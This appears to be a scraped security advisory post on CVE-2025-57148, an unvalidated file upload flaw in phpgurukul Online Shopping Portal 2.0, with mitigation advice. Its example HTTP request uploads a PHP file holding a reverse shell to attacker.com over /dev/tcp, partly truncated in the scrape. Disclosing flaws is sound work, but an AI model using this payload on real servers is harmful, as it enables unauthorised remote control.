Overview<\/strong><\/p>\n

The CVE-2025-57148 pertains to a significant vulnerability in the phpgurukul Online Shopping Portal 2.0 which could potentially lead to system compromise or data leakage. This arbitrary file upload vulnerability exists due to the absence of extension validation in \/admin\/insert-product.php. The issue is of high concern, considering the widespread use of this portal and the potential impact on both businesses and consumers who rely upon it.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2025-57148
\nSeverity: Critical (9.1 CVSS Score)
\nAttack Vector: Network
\nPrivileges Required: Low
\nUser Interaction: Required

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

phpgurukul Online Shopping<\/a> Portal | 2.0<\/p>\n

How the Exploit Works<\/strong><\/p>\n

An attacker can exploit this vulnerability by uploading an arbitrary file<\/a> with a malicious payload onto the server using the vulnerable endpoint (\/admin\/insert-product.php). Due to the lack of extension validation in the upload functionality, the server accepts the malicious<\/a> file, which can then be executed on the server, leading to potential system compromise or data leakage.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

Here is a conceptual example of how the vulnerability might be exploited using a malicious HTTP POST request:<\/a><\/p>\n

POST \/admin\/insert-product.php HTTP\/1.1\nHost: target.example.com\nContent-Type: multipart\/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Disposition: form-data; name=\"file\"; filename=\"malicious.php\"\nContent-Type: application\/x-php\n& \/dev\/tcp\/attacker.com\/8080 0>&1'\"); ?>\n------WebKitFormBoundary7MA4YWxkTrZu0gW--<\/code><\/pre>\n
In this conceptual example, the attacker uploads a malicious PHP file<\/a> that, when executed, opens a reverse shell to the attacker’s server, providing them with unauthorized access to the system.<\/p>\n
Mitigation Guidance<\/strong><\/p>\n
To mitigate this vulnerability, apply the vendor-provided patch as soon as possible. If a patch is not immediately available, consider implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure. These systems can be configured to block or alert on attempts to upload files<\/a> with potentially unsafe extensions.<\/p>\n","protected":false},"excerpt":{"rendered":"
